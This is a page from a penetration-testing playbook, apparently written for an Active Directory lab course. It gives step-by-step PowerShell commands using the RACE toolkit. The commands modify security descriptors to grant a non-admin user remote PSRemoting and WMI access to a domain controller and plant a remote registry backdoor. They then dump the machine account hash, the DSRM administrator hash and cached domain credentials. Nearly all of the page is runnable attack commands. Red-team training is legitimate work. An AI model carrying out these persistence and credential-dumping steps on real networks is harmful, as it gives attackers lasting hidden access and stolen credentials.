> For the complete documentation index, see [llms.txt](https://playbook.sidthoviti.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://playbook.sidthoviti.com/active-directory-pentest/persistence/using-acls/security-descriptors.md).

# Security Descriptors

### Security Descriptors

* It is possible to modify SD like Owner, primary group, DACL, SACL of multiple remote access methods (securable objects) to allow access to non-admin users.
* Admin privileges are required to modify SD.
* ACLs can be modified to allow non-admin users access securable objects. 

**PowerShell Remoting:**

Use RACE toolkit, either PSRemoting or WMI

* Using PSRemoting

{% code overflow="wrap" %}

```powershell
# Using PSRemoting
# Run InviShell
# First of all run (to import RACE Toolikit) -:
. C:\AD\Tools\RACE-master\RACE.ps1

# On local machine for student1, open elevated cmd:
# This reads the existing ACL for root namespace and DCOM and add an entry for our SID.
Set-RemotePSRemoting -SamAccountName student1 -Verbose

# On remote machine for student1 without credentials:
Set-RemotePSRemoting -SamAccountName student1 -ComputerName dcorp-dc -Verbose
# Connect to dcorp-dc as student
Enter-PSSession -ComputerName dcorp-dc

# To remove the permissions on remote machine:
Set-RemotePSRemoting -SamAccountName student1 -ComputerName dcorp-dc -Remove
```

{% endcode %}

* Using WMI

{% code overflow="wrap" %}

```powershell
# OR Using WMI 
Set-RemoteWMI -SamAccountName student1 -Verbose

# On remote machine for student1 without credentials:
Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc -namespace 'root\cimv2' -Verbose

# On remote machine with explicit credentials. Only root\cimv2 and nested namespaces:
Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc -Credential Administrator -namespace 'root\cimv2' -Verbose
# On remote machine remove permissions:
Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc-namespace 'root\cimv2' -Remove -Verbose

# Now we can run WMI queries on DC as student. 
powershell
gwmi -class win32_operatingsystem -ComputerName dcorp-dc
```

{% endcode %}

**Remote Registry:**

* Using `RACE` or DAMP, with admin privs on remote machine (Make sure to run this first) -:

```powershell
Add-RemoteRegBackdoor -ComputerName dcorp-dc -Trustee student1 -Verbose
```

* As student1, retrieve machine account hash:

```powershell
Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose
```

* Retrieve local account hash: (DSRM Administrator)

```powershell
Get-RemoteLocalAccountHash -ComputerName dcorp-dc -Verbose
```

* Retrieve domain cached credentials:

```powershell
Get-RemoteCachedCredential -ComputerName dcorp-dc -Verbose
```